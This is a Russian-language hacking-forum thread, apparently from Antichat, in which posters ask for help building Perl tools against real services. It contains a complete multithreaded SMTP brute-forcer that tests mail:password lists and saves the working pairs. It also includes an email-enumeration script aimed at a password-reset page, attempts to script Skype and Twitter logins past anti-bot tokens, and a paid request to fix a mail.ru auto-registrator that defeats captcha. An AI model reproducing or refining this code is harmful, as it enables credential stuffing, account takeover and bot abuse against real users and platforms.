выведет номер номер номер выводит номер номер номер с етим давно разобрался. а вот сохроняет номер номер номер пробывал также как с принтом сохроняет только 1 номер дальше пусто. также интересует 2 вопрос и еще один. на странице появляеться капча. антикапчу прикручивать не хочю т.к капча 1 на 1к обращений. как сделать чтобы капча появлялась на екране вводиш в ручную и скрипт дальше работает. или такое не возможно в перле?
И снова вопрос от меня сайт https://client.ckpnetwork.com/public/ForgotPassword.aspx?SiteId=RedStar&lang=ru Code: my $resp = $ua->post("https://client.ckpnetwork.com/public/ForgotPassword.aspx?SiteId=RedStar&lang=ru", ["__EVENTTARGET" => "ctl00%24ctl00%24MainContent%24MainContent%24LinkButton1", "__EVENTARGUMENT" => "", "__VIEWSTATE" => "%%2FwEPDwULLTE2NTI3NTU3NDgPZBYCZg9kFgJmD2QWAgIDD2QWAgIBD2QWBAIDD2QWBAICEDwrAA0BAA8WAh4LXyFEYXRhQm91bmRnZGRkAgYQPCsADQEADxYCHwBnZGRkAgcPZBYCAgcPDxYEHgRUZXh0BVsNCgkJCQlbVGhhdCBFLW1haWwgZG9lcyBub3QgZXhpc3QsIG1ha2Ugc3VyZSB5b3UgZW50ZXIgdGhlIGVtYWlsIHlvdSB1c2VkIHRvIHNpZ24gdXAuXQ0KCQkJHgdWaXNpYmxlZ2RkZIxjXS9AYyx21FjcwydN6dlLbQdm", "__EVENTVALIDATION" => "%2FwEWAwLDr5akDQKErMiFCQKdnL%2BtAoyzL1WbaXX0YQ8jRLaZOvrdlq6d", "ctl00%24ctl00%24MainContent%24MainContent%24EmailText" => $mail,])->as_string; wf($file, $resp); if ($resp =~ "That E-mail does not exist") { print "[ + ] $mail\n"; } else { print "[ - ] $mail\n"; } подскажите где ошибку допустил. сохраняю нтмл файлик чтобы смотреть что делает скрипт но там страница запроса пустая. и проверка на +\- не происходит П.с запросы в коде немного коряво отображаются ачат урезает некоторые символы
ребята как сделать паузу в цикле? while (<условие>) { команда команда команда if ($resp =~ "Ваш запрос не может быть обработан") { сделать паузу } else { работаем дальше}
сегодня нужно было прочекать пару аков скайпа. решил навалять скрипт. но столкнулся с проблемой 1 переменая меняется не понятно как. на странице нету тобиш не спарсиш. как генерируется и откуда я не понял. может ктото подскажит вот код авторизации PHP: my $resp = $ua->post("https://login.skype.com/intl/en/account/login-form?setlang=en", ["timezone_field" => "%2B04%7C00", "username" => $login, "password" => $pass, "blackbox" => "0400ECMrL0Y0dRQ%2FyoVIBnjaiulAQ1gpXgzLuR4IDeHT6jnQtVCYANQUGUOCbnRzpX9SgGJyBpj55vPIB9QxnksoWndyYdmM5MiaeVjnt6io67vUUhcdRdXPuAILwWcJ99KaTVi6uReBL7R%2Bx33XNq8m0VNsOXBXIIxrrd47rN0HPq7OJnILnQb9v7Z41faNdGEia0Yy5JnHYpPOvJT3mhAALbnMmL5wYzWLcgCzp4yzTZJcNsHzxCVea3WRA8lHhFUZ3kX9xExmbvR3xBfNPgHEB1p4qydnyiguQWlW%2Fs5Kortvg7OGBIwIHA0Ur8M5yeWl%2F3JRMgIyVKCOh9ltHZfQIt8uv4ekU%2F1Pwtp1tB5GXzlLbSxMYaSWAk8JMsmVtQ59bfVWL4w%2Fcx904hiAcL%2FdBnBU26Shy4kK7yZHbT%2Bhap9e7ClPfP3b%2Bcp%2FaGHCqy0n6uFgohzG6tjoAmSTzPEe%2BkMknOQywX1fSzKz6zFbyZYGBryzOyuYvPhGzlv%2FuiG4qlr028%2F3Pq%2BKIpo10BXdVPrJz%2FfklocMVcbx1n%2F7iuOOZTYvnKL0JZDVX30%2BRs6d9Fm9KMGfQ%2BveDMU%2BNpnLRJtZOTD%2FbaEptOJlWqJFJ6NJSkYJNTlGENo%2FXEy1bNOGN9zglNTnw1TWl3%2BjrmRtur1qJRLg9SzdFtImJLrEe58y1%2FkGF6rBo6gleIGHtdpgvrR9QDmN5AVtQ8M0HTd0IA0EqFwNDrok5ziIbiJFzLwiLtKhR685GoEO6f5pA788O0uLEuwYNgqvBMlz6iZzI2HRuTC1D8wmcS82MJ%2F376szIbgzKpEY%2FnecCmtjDq3vV2B%2BJyboYoSt4IsVLOMFxh3rCbrOi23MqSmfUA43kRQFcMoDnhKPfd2g0rtEmxqz%2BX1ip56c5txWxXynq%2Fo%2BDQ%3D%3D",])->as_string;
Тоже подобное хочу сделать но кажется мне что такое без Тк или Wx не обойтись если на компе юзать как а если web то копировать ссылку на картинку и выводить в какое нибудь специальное окошечко это я так думаю Как сам решил интересно если уже решил
вот такая ощибка: Can't locate MIME/base64.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.1 /usr/local/share/perl/5.10.1 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at /home/bad/brute/123.pl line 3. at /home/bad/brute/123.pl line 3 main::BEGIN() called at MIME/base64.pm line 3 eval {...} called at MIME/base64.pm line 3 BEGIN failed--compilation aborted at /home/bad/brute/123.pl line 3. at /home/bad/brute/123.pl line 3 как с ней бороться?
Ребят книга про SQL точнее даже учебное пособе просто атвал бошка для новичков сам дофига чего с помощью него понял http://window.edu.ru/window_catalog/files/r65225/150.pdf
код в студию. тут не телепаты. По поводу моей авторищзации скайпа. авторизация через веб. етот хеш фиг знает каким макаром генерируется. PHP: "blackbox" => "0400ECMrL0Y0dRQ%2FyoVIBnjaiulAQ1gpXgzLuR4IDeHT6jnQ tVCYANQUGUOCbnRzpX9SgGJyBpj55vPIB9QxnksoWndyYdmM5M iaeVjnt6io67vUUhcdRdXPuAILwWcJ99KaTVi6uReBL7R%2Bx3 3XNq8m0VNsOXBXIIxrrd47rN0HPq7OJnILnQb9v7Z41faNdGEi a0Yy5JnHYpPOvJT3mhAALbnMmL5wYzWLcgCzp4yzTZJcNsHzxC Vea3WRA8lHhFUZ3kX9xExmbvR3xBfNPgHEB1p4qydnyiguQWlW %2Fs5Kortvg7OGBIwIHA0Ur8M5yeWl%2F3JRMgIyVKCOh9ltHZ fQIt8uv4ekU%2F1Pwtp1tB5GXzlLbSxMYaSWAk8JMsmVtQ59bf VWL4w%2Fcx904hiAcL%2FdBnBU26Shy4kK7yZHbT%2Bhap9e7C lPfP3b%2Bcp%2FaGHCqy0n6uFgohzG6tjoAmSTzPEe%2BkMknO QywX1fSzKz6zFbyZYGBryzOyuYvPhGzlv%2FuiG4qlr028%2F3 Pq%2BKIpo10BXdVPrJz%2FfklocMVcbx1n%2F7iuOOZTYvnKL0 JZDVX30%2BRs6d9Fm9KMGfQ%2BveDMU%2BNpnLRJtZOTD%2Fba EptOJlWqJFJ6NJSkYJNTlGENo%2FXEy1bNOGN9zglNTnw1TWl3 %2BjrmRtur1qJRLg9SzdFtImJLrEe58y1%2FkGF6rBo6gleIGH tdpgvrR9QDmN5AVtQ8M0HTd0IA0EqFwNDrok5ziIbiJFzLwiLt KhR685GoEO6f5pA788O0uLEuwYNgqvBMlz6iZzI2HRuTC1D8wm cS82MJ%2F376szIbgzKpEY%2FnecCmtjDq3vV2B%2BJyboYoSt 4IsVLOMFxh3rCbrOi23MqSmfUA43kRQFcMoDnhKPfd2g0rtEmx qz%2BX1ip56c5txWxXynq%2Fo%2BDQ%3D%3D",])->as_string; подскажите как авторизироватся на сайте скайпа 2 Richard_Kalt. пофлудить негде?
Code: #!/usr/bin/perl use IO::Socket; use MIME::base64; use threads; use threads::shared; use Fcntl ':flock'; ############################ my $threads = 10; # Кол-во потоков my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс) my $good = 'good.txt'; # Файл с валидными мылами my $bad = 'bad.txt'; # Файл с не валидными мылами my $acc_delm = ';'; # Разделитель списка мыл my $port = 25; # SMTP порт my $timeout = 15; # Таймаут ############################ system('title SMTP email brute'); my @accs : shared = lf($acc_file); threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@accs) { my ($mail, $pass) = split $acc_delm => shift @accs; my ($login, $domain) = split '@' => $mail; my $passw = MIME::Base64::encode($pass); $login = MIME::Base64::encode($login); $passw =~ s,\n,,; $login =~ s,\n,,; my $sock = new IO::Socket::INET(PeerAddr => 'smtp.'.$domain, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout); sysread $sock, $answ, 1024; print $sock "AUTH LOGIN\r\n"; sysread $sock, $answ, 1024; print $sock "$login\r\n"; sysread $sock, $answ, 1024; print $sock "$passw\r\n"; sysread $sock, $answ, 1024; close $sock; if($answ =~ m,Authentication succeeded,i) { print "[ + ] $mail:$pass\n"; wf($good, "$mail:$pass\n"); } else { print "[ - ] $mail:$pass\n"; wf($bad, "$mail:$pass\n"); } } } sub lf { open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; }
все работает проверил. видимо у тебя проблема с самим дистрибутивом перл. а имено с библеотекой бас64. какая версия перла стоит?
perl 5.10.1 в синоптике такая написана но я еще устанавливал ActivePerl-5.12.2.1202-x86_64-linux-glibc-2.3.5-293621 в /opt/ActivePerl-5.12 так как думал у меня нет( и вроде бы случайно удалил MIME::Base64 из синоптика как установить MIME::Base64?
cmd > ppm откроется перловский модуль с библеотеками там набери base64 и нажми установить то astrologer для модулей не критично
Авторегистратор mail.ru. Данный скрипт не работает - т.к - проблема с капчей ошибка found 3 captcha. Кто сможет подделать скрипт? И ввести поддержу своих логинов из своего файла а не генерированых. Формат [email protected] http://upwap.ru/850563 пароль: Antichat По возможности плачу
авторизация скайпа и твитера помогите. передаю все данные. сохраняю страницу. оно пишет что в передаваемых данных чтото не так . бла бла бла типо я бот. и на счет скайпа не понятно каким макаром генерируется переменна "blackbox" . кто подскажет?
